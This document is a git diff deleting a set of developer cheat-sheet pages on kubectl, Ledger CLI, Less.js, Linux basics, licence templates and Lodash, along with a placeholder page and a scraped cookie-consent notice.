-
--   List services sorted by name
-
-```
-kubectl get services --sort-by=.metadata.name
-```
-
--   List pods sorted by restart count
-
-```
-kubectl get pods --sort-by='.status.containerStatuses[0].restartCount'
-```
-
--   Rolling update pods for frontend-v1
-
-```
-kubectl rolling-update frontend-v1 -f frontend-v2.json
-```
-
--   Scale a replicaset named 'foo' to 3
-
-```
-kubectl scale --replicas=3 rs/foo
-```
-
--   Scale a resource specified in "foo.yaml" to 3
-
-```
-kubectl scale --replicas=3 -f foo.yaml
-```
-
--   Execute a command in every pod / replica
-
-```
-for i in 0 1; do kubectl exec foo-$i -- sh -c 'echo $(hostname) > /usr/share/nginx/html/index.html'; done
-```
-
-## Manage Resources
-
--   Get documentation for pod or service
-
-```
-kubectl explain pods,svc
-```
-
--   Create resource(s) like pods, services or daemonsets
-
-```
-kubectl create -f ./my-manifest.yaml
-```
-
--   Apply a configuration to a resource
-
-```
-kubectl apply -f ./my-manifest.yaml
-```
-
--   Start a single instance of Nginx
-
-```
-kubectl run nginx --image=nginx
-```
-
--   Create a secret with several keys
-
-```
-cat <<EOF | kubectl create -f -
-apiVersion: v1
-kind: Secret
-metadata:
- name: mysecret
-type: Opaque
-data:
- password: $(echo "s33msi4" | base64)
- username: $(echo "jane"| base64)
-EOF
-```
-
--   Delete a resource
-
-```
-kubectl delete -f ./my-manifest.yaml
-```
-
-## Monitoring & Logging
-
--   Deploy Heapster from Github repository
-
-```
-kubectl create -f deploy/kube-config/standalone/
-```
-
--   Show metrics for nodes
-
-```
-kubectl top node
-```
-
--   Show metrics for pods
-
-```
-kubectl top pod
-```
-
--   Show metrics for a given pod and its containers
-
-```
-kubectl top pod pod_name --containers
-```
-
--   Dump pod logs (stdout)
-
-```
-kubectl logs pod_name
-```
-
--   Stream pod container logs (stdout, multi-container case)
-
-```
-kubectl logs -f pod_name -c my-container
-```
-
-## Interacting with running pods
-
--   Run command in pod
-
-```
-kubectl exec pod_name -- command_name
-```
-
--   Run command in pod with multiple containers
-
-```
-kubectl exec pod_name -c container_name -- command_name
-```
-
--   Get terminal of pod
-
-```
-kubectl exec -it pod_name /bin/sh
-```
-
--   Get terminal of a container running in pod with multiple containers
-
-```
-kubectl exec -it pod_name -c container_name /bin/sh
-```
diff --git a/docs/content/cheat-sheets/layout-thrashing.md b/docs/content/cheat-sheets/layout-thrashing.md
deleted file mode 100644
index b031b9bc52..0000000000
--- a/docs/content/cheat-sheets/layout-thrashing.md
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Layout thrashing
-category: HTML
-
-description: ''
-weight: -1
-intro: |
-    These are CSS properties that will cause "layout thrashing". Avoid changing them to prevent bottlenecks in your UI performance.
----
-
-## Layout thrashing
-
-{: .-one-column}
-
-### Things that cause invalidation
-
-#### Element
-
--   clientHeight
--   clientLeft
--   clientTop
--   clientWidth
--   focus
--   getBoundingClientRect
--   getClientRects
--   innerText
--   offsetHeight
--   offsetLeft
--   offsetParent
--   offsetTop
--   offsetWidth
--   outerText
--   scrollByLines
--   scrollByPages
--   scrollHeight
--   scrollIntoView
--   scrollIntoViewIfNeeded
--   scrollLeft
--   scrollTop
--   scrollWidth
-    {: .-six-column}
-
-#### MouseEvent
-
--   layerX
--   layerY
--   offsetX
--   offsetY
-    {: .-six-column}
-
-#### Window
-
--   getComputedStyle
--   scrollBy
--   scrollTo
--   scrollX
--   scrollY
-    {: .-six-column}
-
-#### Frame, Document & Image
-
--   height
--   width
-    {: .-six-column}
-
-#### jQuery
-
--   $.fn.offset
--   $.fn.offsetParent
--   $.fn.position
--   $.fn.scrollLeft
--   $.fn.scrollTop
--   $.fn.css('...')
--   $.fn.text('...')
--   $(':hidden')
--   $(':contains')
-    {: .-six-column}
-
-## Also see
-
--   <http://www.kellegous.com/j/2013/01/26/layout-performance/>
--   <https://gist.github.com/desandro/4657744>
--   <http://stackoverflow.com/questions/17199958/why-does-setting-textcontent-cause-layout-thrashing>
diff --git a/docs/content/cheat-sheets/learn-bash-scripting-bash-scripting-cheatsheet.md b/docs/content/cheat-sheets/learn-bash-scripting-bash-scripting-cheatsheet.md
deleted file mode 100644
index cfcbc37f48..0000000000
--- a/docs/content/cheat-sheets/learn-bash-scripting-bash-scripting-cheatsheet.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Learn Bash Scripting: Bash Scripting Cheatsheet
-
-> When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. More information
-
-### Privacy Preference Center
-
-When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. [More information](https://cookiepedia.co.uk/giving-consent-to-cookies)
-
-### Manage Consent Preferences
-
-Always Active
-
-Strictly Necessary Cookies
-
-These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
-
-Functional Cookies
-
-These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly.
-
-Targeting Cookies
-
-These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
-
-Performance Cookies
-
-These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
-
-[Source](https://www.codecademy.com/learn/bash-scripting/modules/bash-scripting/cheatsheet)
diff --git a/docs/content/cheat-sheets/ledger-csv.md b/docs/content/cheat-sheets/ledger-csv.md
deleted file mode 100644
index 5830f70fcb..0000000000
--- a/docs/content/cheat-sheets/ledger-csv.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Ledger CSV format
-category: Ledger
----
-
-## Ledger CSV format
-
-{: .-one-column}
-
-```
-$ ledger csv
-```
-
-{: .-setup}
-
-```csv
-date         , ?  , desc     , account            , currency , amt     , pending/cleared , ?
-"2013/09/02" , "" , "things" , "Assets:Cash"      , "P"      , "-2000" , "*"             , ""
-"2013/09/02" , "" , "things" , "Liabilities:Card" , "P"      , "-200"  , "*"             , ""
-"2013/09/02" , "" , "things" , "Expenses:Things"  , "P"      , "2200"  , "*"             , ""
-"2013/09/04" , "" , "stuff"  , "Assets:Cash"      , "P"      , "-20"   , "*"             , ""
-"2013/09/04" , "" , "stuff"  , "Expneses:Others"  , "P"      , "20"    , "*"             , ""
-```
diff --git a/docs/content/cheat-sheets/ledger-examples.md b/docs/content/cheat-sheets/ledger-examples.md
deleted file mode 100644
index 25759479b9..0000000000
--- a/docs/content/cheat-sheets/ledger-examples.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Ledger examples
-category: Ledger
----
-
-Inspecting transactions:
-
-    # show me expenses for october (--period)
-      ledger r Expenses -p oct
-
-    # what's the most expensive? (--sorted)
-      ledger r Expenses -S amount --tail 10
-
-    # how much was spent on grocery? (--weekly, --monthly)
-      ledger r Grocery
-      ledger r Grocery -W
-      ledger r Grocery -M
-
-    # what did I spend my Mastercard on? (--period, --begin, --end)
-      ledger r mastercard
-      ledger r mastercard -p "january"
-      ledger r mastercard -b 01/25 -e 01/31
-
-Graphing:
-
-    # Graph my bank account balance, monthly
-      ledger r Savings -M
-
-    # Graph my expenses, monthly (-n = --collapse)
-      ledger r Expenses -M -n
-
-    # ...what's the average per month?
-      ledger r Expenses -M -n --average
-
-Simple:
-
-    # what did I do yesterday?
-    # ..list transactions on this day
-      ledger r -p 01/26
-      ledger r -p yesterday
-
-Switches:
-
-    # what's everything I got in USD? (--exchange)
-      ledger b Assets -X USD
diff --git a/docs/content/cheat-sheets/ledger-format.md b/docs/content/cheat-sheets/ledger-format.md
deleted file mode 100644
index a5b28d98b6..0000000000
--- a/docs/content/cheat-sheets/ledger-format.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Ledger format
-category: Ledger
----
-
-```
-2015/01/01 Pay rent
-  Assets:Savings     -$300
-  Expenses:Rent
-```
-
-### First line
-
-```
-2015/01/01 *       Pay rent       ; tagname:
-^          ^       ^
-Date       Flag    Description    ^ comment/tag
-```
-
-### Balance assertion
-
-```
-2015/01/01 Pay rent
-  Assets:Savings     -$300 = $1200  ; assert there's $1200 left after
-  Expenses:Rent
-```
-
-Flags:
-
-```
-* cleared
-! pending
-```
-
-## Accounts
-
-Only relevant with `--strict` or `--pedantic`
-
-```
-account Expenses:Food
-    note This account is all about the chicken!
-    alias food
-    payee ^(KFC|Popeyes)$
-    check commodity == "$"
-    assert commodity == "$"
-    eval print("Hello!")
-    default
-```
-
-## Others
-
-```
-D $1,000.00     ; set default commodity
-
-alias Cash = Assets:Cash
-
-Y2015           ; set default year (you can use 01/25 as date after)
-```
-
-### Prefix all transactions with an account
-
-```
-account Home
-include home.journal
-end
-```
diff --git a/docs/content/cheat-sheets/ledger-periods.md b/docs/content/cheat-sheets/ledger-periods.md
deleted file mode 100644
index 6e0e76c4a3..0000000000
--- a/docs/content/cheat-sheets/ledger-periods.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Ledger periods
-category: Ledger
----
-
-    [INTERVAL] [BEGIN] [END]
-
-Interval:
-
-    every day
-    every week
-    every month
-    every quarter
-    every year
-    every N days     # N is any integer
-    every N weeks
-    every N months
-    every N quarters
-    every N years
-    daily
-    weekly
-    biweekly
-    monthly
-    bimonthly
-    quarterly
-    yearly
-
-Begin:
-
-    from <SPEC>
-    since <SPEC>
-
-The end time can be either of:
-
-    to <SPEC>
-    until <SPEC>
-
-Spec:
-
-    2004
-    2004/10
-    2004/10/1
-    10/1
-    october
-    oct
-    this week  # or day, month, quarter, year
-    next week
-    last week
-
-Examples:
-
-    $ ledger r -p "since last month"
-
-See: http://ledger-cli.org/3.0/doc/ledger3.html#Period-Expressions
diff --git a/docs/content/cheat-sheets/ledger-query.md b/docs/content/cheat-sheets/ledger-query.md
deleted file mode 100644
index ea0504355b..0000000000
--- a/docs/content/cheat-sheets/ledger-query.md
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Ledger queries
-category: Ledger
----
-
-### Query characters
-
-| Query           | Description |
-| --------------- | ----------- |
-| `@payee`        | Payee       |
-| `%tag`          | Tag         |
-| `=note`         | Note        |
-| `#code`         | Code        |
-| ---             | ---         |
-| `TERM and TERM` | Boolean and |
-| `TERM or TERM`  | Boolean or  |
-| `not TERM`      | Boolean not |
-
-### Examples
-
-```sh
-ledger r @taco
-ledger r comment =~ /landline/
-```
-
-## References
-
-{: .-one-column}
-
--   <http://ledger-cli.org/3.0/doc/ledger3.html#Complex-expressions>
diff --git a/docs/content/cheat-sheets/ledger.md b/docs/content/cheat-sheets/ledger.md
deleted file mode 100644
index 3b4e806853..0000000000
--- a/docs/content/cheat-sheets/ledger.md
+++ /dev/null
@@ -1,306 +0,0 @@
----
-title: Ledger CLI
-category: Ledger
-
-weight: -5
----
-
-### Basic usage
-
-```bash
-ledger bal
-ledger reg
-```
-
-```bash
-ledger reg grocery  # show entries for 'grocery'
-ledger bal assets   # check if i'm broke
-```
-
-```bash
-  -b 01/01   # --begin
-  -e 01/31   # --end
-  -S date    # --sort
-  -S amount
-```
-
-### Examples
-
-```bash
-# any/all matches
-  ledger bal Rent Transportation  # any
-  ledger bal Income and Job       # all
-  ledger bal Expenses and not (Drinks or Food)
-```
-
-```bash
-# what did I spend on most? (--sorted)
-  ledger reg Expenses -S amount
-```
-
-```bash
-# how much did I have at this date? (--end)
-  ledger bal -e 01/15 ^Assets ^Liabilities
-```
-
-```bash
-# how much did I spend and earn this month?
-  ledger bal ^Expenses ^Income --invert
-```
-
-```bash
-# how much was spent over the course of 3 days? (totalled)
-  ledger reg -b 01/25 -e 01/27 --subtotal
-  ledger reg -b 01/25 -e 01/27 --subtotal grocery
-```
-
-## Format
-
-### Basic format
-
-```
-2013/01/03 * Rent for January
-  Expenses:Rent   $600.00
-  Assets:Savings
-```
-
-`*` = cleared, `!` = pending
-
-### Secondary dates
-
-```
-2008/01/01=2008/01/14 Client invoice
-```
-
-It can mean anything you want, eg, for the estimated date you'll be paid.
-
-### Balance assertions
-
-```
-2008/01/01 * KFC
-  Expenses:Food    $20
-  Assets:Cash     $-20  = $500
-```
-
-`Cash $X = $500` ensures Cash is at $500 after the transaction.
-
-### Balance assignment
-
-```bash
-2008/01/01 * Cash balance
-  Assets:Cash              = $500
-  Equity:Adjustments
-
-2008/01/01 * KFC
-  Expenses:Food            $20
-  Assets:Cash              = $500
-```
-
-{: data-line="2,7"}
-
-`ACCOUNT = $500` figures out what's needed to make it $500.
-
-### Payables
-
-```bash
-2008/04/25 * Rent
-  (Assets:Checking)  -$200
-  Expenses:Rent
-```
-
-{: data-line="2"}
-
-### Commodities
-
-```bash
-; cost per item
-2010/05/31 * Market
-  Assets:Fridge                35 apples @ $0.42
-  Assets:Cash
-```
-
-```bash
-; total cost
-2010/05/31 * Market
-  Assets:Fridge                35 apples @@ $14.70
-  Assets:Cash
-```
-
-```bash
-; fixed lot prices
-2010/05/31 * Gas
-  Expenses:Gasoline             11 GAL {=$2.299}
-  Assets:Cash
-```
-
-### Commodity definitions
-
-```
-commodity $
-  note American Dollars
-  format $1,000.00
-  nomarket
-  default
-```
-
-### Budgeting
-
-```
-~ Monthly
-  Expenses:Rent  $500
-  Expenses:Food  $100
-  Expenses        $40 ; everything else
-  Assets
-
-~ Yearly
-```
-
-```bash
-ledger bal --budget Expenses
-ledger bal --unbudgeted Expenses
-```
-
-{: .-setup}
-
-### Comments
-
-    ; line comment
-    # also line comment
-    % also line comment
-    | also line comment
-    * also line comment
-
-## Querying
-
-### Periods
-
-```
-[interval] [begin] [end]
-```
-
-```
-interval:
-  every day|week|month|quarter|year
-  every N days|weeks|...
-  daily|weekly|...
-```
-
-```
-begin:
-  from <spec>
-end:
-  to <spec>
-```
-
-```
-spec:
-  2004
-  2004/10/1
-```
-
-```bash
-ledger bal|reg --period "until aug"
-ledger bal|reg --period "last oct"
-ledger bal|reg --period "every week"
-```
-
-{: .-setup}
-
-### Register
-
-```bash
-ledger reg
-```
-
-{: .-setup}
-
-```bash
-  -D, --daily
-  -W, --weekly
-  -M, --monthly
-      --quarterly
-  -Y, --yearly
-  -s, --subtotal
-  --start-of-week monday
-```
-
-```bash
-  -S, --sort date
-  -S, --sort amount
-```
-
-### Filters
-
-```bash
--b, --begin DATE
--e, --end DATE
-
--d payee =~ /pioneer/
-
--C, --cleared    # (with *)
--U, --uncleared  # (no *)
-    --pending    # (with !)
-
--R, --real       # ignore virtual postings (eg: "(Cash)  $-400")
--L, --actual     # no automated postings (eg: "= /^Income/")
-
--r, --related   # show the other side
-                # "reg -r savings" shows where it comes from)
-```
-
-### Queries
-
-    ^regex$
-    @payee
-    %tag
-    %tag=value
-    =note
-    #code
-    term and term
-    term or term
-    not term
-    \( term \)
-
-Example:
-
-    ledger r ^expenses and @Denny's
-    ledger r food and @Starbucks and not dining
-
-### Display
-
-```bash
--n, --collapse       # [register] collapse entries
-                     # [balance] no grand total
--s, --subtotal       # [balance] show sub-accounts
-                     # [other] show subtotals
---flat
-```
-
-### Effective dates
-
-```bash
-2008/01/01=2008/01/14 Client invoice  ;  estimated date you'll be paid
-  Assets:Accounts Receivable            $100.00
-  Income: Client name
-```
-
-{: data-line="1"}
-
-Say you're in business. If you bill a customer, you can enter something like above.
-Then, when you receive the payment, you change it to:
-
-```bash
-2008/01/01=2008/01/15 Client invoice ;  actual date money received
-  Assets:Accounts Receivable            $100.00
-  Income: Client name
-```
-
-{: data-line="1"}
-
-## References
-
-{: .-one-column}
-
--   <http://ledger-cli.org/3.0/doc/ledger3.html>
--   <https://gist.github.com/agaviria/3317397>
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/less.md b/docs/content/cheat-sheets/less.md
deleted file mode 100644
index ad85a6912a..0000000000
--- a/docs/content/cheat-sheets/less.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: Less.js
----
-
-### Functions
-
-    unit(30px / 5px)  #=> 6
-    unit(5, px)       #=> 5px
-
-    e("ms:stuff()")   #=> ms:stuff() (unquote)
-
-    %("count: %d", 1+2) #=> "count: 3"
-
-    iscolor(@x)
-    isstring(@x)
-    isnumber(@x)
-    iskeyword(@x)
-    isurl(url(...))
-    ispixel()
-    isem()
-    ispercentage()
-    isunit()
-
-    hue(@color)
-    saturation(@color)
-    lightness(@color)
-    luma(@color)
-    luminance(@color)
-
-    fade(@color, amount)
-    fadein(@color, amount)
-    fadeout(@color, amount)
-    spin(@color, degrees)
-    mix(@a, @b, amount)
-
-### Conditionals
-
-    .image when (luma(@color) > 50%) { }
-    .image when (not(...)) { }
-    .image when (default()) {}
-    .image when (e(@shape) = 'circle') { }
diff --git a/docs/content/cheat-sheets/lib.md b/docs/content/cheat-sheets/lib.md
deleted file mode 100644
index a24c239a6d..0000000000
--- a/docs/content/cheat-sheets/lib.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# To display available libraries:
-
-ldconfig -p
-
-# To update library resources:
-
-ldconfig
-
-# To display libraries and file location:
-
-ldd
-
-# To libraries available to apps in real-time:
-
-"Dynamic Libraries" (.so.)
-
-# To libraries only available to apps when installed (imported):
-
-"Static Libraries" (.a.)
-
-# To standard (usual) library file location:
-
-/lib
-
-# To sofware-accessible source for library info :
-
-/etc/ld.so.cache # (binary)
-
-# To human-readable source for library info:
-
-/etc/ld.so.conf # (points to /etc/ld.so.conf.d)
diff --git a/docs/content/cheat-sheets/licenses.md b/docs/content/cheat-sheets/licenses.md
deleted file mode 100644
index 0f4e306e03..0000000000
--- a/docs/content/cheat-sheets/licenses.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Licenses
-section: Development
----
-
-## Licenses
-
-### MIT License
-
-```
-The MIT License (MIT)
-
-Copyright (c) 2015 $NAME
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-```
-
-### ISC
-
-```
-Copyright (c) 2015, $NAME
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
-```
-
-### BSD 2C
-
-```
-Copyright (c) 2015, $NAME
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-```
-
-### BSD 3C
-
-```
-Copyright (c) 2015, $NAME
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-* Neither the name of simpler-extend nor the names of its
-  contributors may be used to endorse or promote products derived from
-  this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-```
diff --git a/docs/content/cheat-sheets/links.md b/docs/content/cheat-sheets/links.md
deleted file mode 100644
index c44d92f820..0000000000
--- a/docs/content/cheat-sheets/links.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: lorem-ipsum
-subtitle: lorem-ipsum
-img_alt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: page
----
-
-Etiam facilisis lacus nec pretium lobortis. Praesent dapibus justo non efficitur efficitur. Nullam viverra justo arcu, eget egestas tortor pretium id. Sed imperdiet mattis eleifend. Vivamus suscipit et neque imperdiet venenatis.
-
-> Vestibulum ullamcorper risus auctor eleifend consequat.
-
-![Placeholder Image](https://assets.stackbit.com/components/images/default/post-4.jpeg)
-
-In malesuada sed urna eget vehicula. Donec fermentum tortor sit amet nisl elementum fringilla. Pellentesque dapibus suscipit faucibus. Nullam malesuada sed urna quis rutrum. Donec facilisis lorem id maximus mattis. Vestibulum quis elit magna. Vestibulum accumsan blandit consequat. Phasellus quis posuere quam.
-
-Vivamus mollis in tellus ac ullamcorper. Vestibulum sit amet bibendum ipsum, vitae rutrum ex. Nullam cursus, urna et dapibus aliquam, urna leo euismod metus, eu luctus justo mi eget mauris. Proin felis leo, volutpat et purus in, lacinia luctus eros. Pellentesque lobortis massa scelerisque lorem ullamcorper, sit amet elementum nulla scelerisque. In volutpat efficitur nulla, aliquam ornare lectus ultricies ac. Mauris sagittis ornare dictum. Nulla vel felis ut purus fermentum pretium. Sed id lectus ac diam aliquet venenatis. Etiam ac auctor enim. Nunc velit mauris, viverra vel orci ut, egestas rhoncus diam. Morbi scelerisque nibh tellus, vel varius urna malesuada sed. Etiam ultricies sem consequat, posuere urna non, maximus ex. Mauris gravida diam sed augue condimentum pulvinar vel ac dui. Integer vel convallis justo.
diff --git a/docs/content/cheat-sheets/linux-1.md b/docs/content/cheat-sheets/linux-1.md
deleted file mode 100644
index f5600395b6..0000000000
--- a/docs/content/cheat-sheets/linux-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# Linux
diff --git a/docs/content/cheat-sheets/linux.md b/docs/content/cheat-sheets/linux.md
deleted file mode 100644
index 8deecd38c0..0000000000
--- a/docs/content/cheat-sheets/linux.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-title: Linux
----
-
-### Mounting a RAM drive
-
-    $ mount -t tmpfs -o size=5G,nr_inodes=5k,mode=700 tmpfs /tmp
-
-### Visudo
-
-    sudo visudo
-
-    username ALL=(ALL) NOPASSWD:/sbin/restart whatever
-
-### Display the amount of available disk space
-
-```sh
-df
-df -h   # human-readable format
-df -a   # all filesystems
-```
-
-### Display disk usage
-
-```sh
-du
-du -hsx * | sort -rh | head -10    # largest 10 folders
-```
-
-### Answer yes in a bash script
-
-```bash
-yes | /your/command
-```
diff --git a/docs/content/cheat-sheets/ln.md b/docs/content/cheat-sheets/ln.md
deleted file mode 100644
index 2ed2eb3d2f..0000000000
--- a/docs/content/cheat-sheets/ln.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To create a symlink:
-
-ln -s <source-location> <symlink-location>
-
-# To symlink, while overwriting existing destination files
-
-ln -sf <source-location> <symlink-location>
diff --git a/docs/content/cheat-sheets/loadash-cheat-sheet.md b/docs/content/cheat-sheets/loadash-cheat-sheet.md
deleted file mode 100644
index 5363e825af..0000000000
--- a/docs/content/cheat-sheets/loadash-cheat-sheet.md
+++ /dev/null
@@ -1,250 +0,0 @@
-# LOADASH Cheat Sheet
-
-## Lodash cheatsheet
-
-> #### Excerpt
->
-> This is not a complete list. · One-page guide to Lodash
-
----
-
-### #Collections
-
-#### Finding
-
-```
-_.filter(list, (n) => n % 2)
-_.find(list, (n) => n % 2)
-_.findLast(list, ...)
-```
-
-Works for both arrays and objects.
-
-#### Accessing
-
-```
-_.at([ abcd ], 0)
-_.at([ abcd ], [ 0, 1 ])
-```
-
-#### Set/get
-
-```
-_.set(object, 'users[0].name', value)
-_.get(object, 'users[0].name')
-_.get(object, ['users', 0, 'name'])
-```
-
-#### Iteration
-
-```
-_.forEach(list, (item, i) => ...)
-_.forEachRight(list, ...)
-
-_.map(list, ...)
-```
-
-```
-_.every(users, (u) => u.active)
-_.any(users, ...)
-```
-
-### #Array
-
-#### Arrays
-
-```
-_.chunk([ abcd ], 2)
-_.compact(list)
-
-_.fill(Array(4), 'x')
-_.flatten
-_.flattenDeep
-```
-
-#### Filtering
-
-```
-_.drop([ abcdef ], 2)
-_.dropRight([ abcdef ], 2)
-_.take([ abcdef ], 2)
-_.takeRight([ abcdef ], 2)
-_.slice([ abcdef ], 2, 4)
-```
-
-```
-_.initial([ abcdef ])
-_.rest([ abcdef ])
-```
-
-```
-_.dropWhile(list, 'active')
-_.dropWhile(list, 'active', true)
-_.dropWhile(list, { active: true })
-_.dropWhile(list, (n) => ...)
-_.dropRightWhile(list, ...)
-```
-
-```
-_.without([ abcde ], b)
-```
-
-```
-_.remove(list, (n) => n % 2)
-```
-
-#### Accessing
-
-```
-_.first([ abcdef ])
-_.last([ abcdef ])
-```
-
-#### Sets
-
-```
-_.uniq()
-_.difference([ abc ], [ bc ])
-_.intersection([ abc ], [ bcd ])
-_.union([ abc ], [ bcd ])
-```
-
-```
-Array#concat()
-```
-
-#### Indexes
-
-```
-_.findIndex(list, fn)
-_.findLastIndex(list, fn)
-```
-
-```
-_.sortedIndex(list, val)
-_.sortedLastIndex(list, val)
-```
-
-```
-_.indexOf(list, val)
-```
-
-### #Functions
-
-#### Currying
-
-```
-greet = (greeting, name) => `${greeting}, ${name}!`
-```
-
-```
-fn = _.partial(fn, 'hi')
-fn('joe')
-
-fn = _.partial(fn, 'joe')
-fn('yo')
-```
-
-```
-_.curry(greet)('hi')
-_.curryRight(greet)('joe')
-```
-
-### #Decorating functions
-
-#### Throttling
-
-```
-_.throttle(fn)
-_.debounce(fn)
-```
-
-#### Limiting
-
-```
-_.before(5, fn)
-_.after(5, fn)
-_.once(fn)
-```
-
-#### Etc
-
-```
-_.wrap(_.escape, (name) => `hi ${name}`)
-
-_.delay(fn, 2000)
-
-_.negate(fn)
-
-_.memoize(fn)
-_.memoize(fn, ...)
-```
-
-### #Strings
-
-#### Capitalization
-
-```
-_.capitalize('hello world')
-_.startCase('hello_world')
-_.snakeCase('hello world')
